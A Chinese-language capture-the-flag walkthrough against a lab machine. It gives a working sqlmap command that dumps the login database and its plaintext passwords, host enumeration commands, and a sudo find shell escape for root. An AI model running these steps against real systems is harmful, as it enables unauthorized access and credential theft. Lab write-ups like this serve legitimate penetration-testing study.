确定靶机

攻击机 靶机
192.168.106.128 192.168.106.138

初步信息收集

端口信息

服务/端口 版本/信息
22/SSH OpenSSH 9.2p1
80/HTTP Apache httpd 2.4.62

端口就开放了两个,只能从80端口入手了。

外部信息收集

HTTP/80

打开看到的是一个图片,查看网站的源代码,也没发现什么东西。

感觉图片应该有什么信息,保存下来转换为字符看看,没发现有什么信息。

当前页面也没什么信息了,尝试目录爆破看看,发现两个页面。

login页面为空,查看源代码无可用信息

index2页面疑似是一个仿真终端,在页面上收集一下信息。

找到一个页面路径,尝试去访问一下。

一个登录页面,查看源代码发现表单提交到login页面,难怪前面访问的时候是空白的,原来这个才是登录的页面。但是不知道账户密码。。。

注意到加密系统的一段加密,好像是十六进制的,尝试去解密看看。

解密到一串字符,似乎是一段话,翻译一下。似乎是前面得到的用户名和密码。但是试了是错的。。。难道是其他东西?

你好 Alita,希望你在阅读这段加密代码。为了入侵系统,你需要应用我教你的技术,我已为你留下访问权限,密钥是 'pandora'。我们在网络上见。

有发现一出提醒密钥是pandora,这个肯定很重要,但是这个是要在哪里使用呢?

渗透测试

前面获取到了我是Alita,密钥为pandora,但是尝试登录的时候失败了,现在只有一个能和后端交互的页面就是刚刚的登录页面。

登录页面爆破

知道疑似的用户名和密钥去爆破,未爆破成功。

登录框sql测试

发现存在SQL报错

确定注入类型为盲注

改为使用sqlmap,直接down下数据库,得到了两个用户,被前面的获取的信息欺骗了

sqlmap -u http://192.168.106.138/login.php -data="user=Alita&pass=pandora" --batch --dump

+----+--------------------+----------+
| id | password | username |
+----+--------------------+----------+
| 1 | F4ckTh3F4k3H4ck3r5 | shelly |
| 2 | cambiame08 | admin |
+----+--------------------+----------+

前端登录进去没什么东西就一个页面

尝试SSH登录,使用shelly用户登录成功。

提权

先信息收集一波看看有什么信息可以使用

find / -perm -4000 -type f 2>/dev/null | tr '/' ' ' | awk '{print $3}'
crontab -l
cat /etc/passwd | grep -E '/bin/(bash|sh|dash)'
netstat -at
ps -aux

发现当前用户具有sudo权限,并且可以执行find命令,直接用suid提权的方法获得一个shell

shelly@NexusLabCTF:~$ sudo -l
sudo: unable to resolve host NexusLabCTF: Fallo temporal en la resolución del nombre
Matching Defaults entries for shelly on NexusLabCTF:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
env_keep+=LD_PRELOAD, use_pty

User shelly may run the following commands on NexusLabCTF:
(ALL) NOPASSWD: /usr/bin/find
shelly@NexusLabCTF:~$ find . -exec /bin/bash \; -quit

思路总结

graph TD
A[确定目标] -->B(端口确认)
    B --> C{针对页面收集}
    C -->|登录框爆破| D[失败]
    C -->|登录框测试| E[发现SQL注入]
    E -->|SQL测试| F[获取到账户密码]
    F -->|SSH爆破| G[登录成功]
    G -->|系统信息收集| H[使用find提权]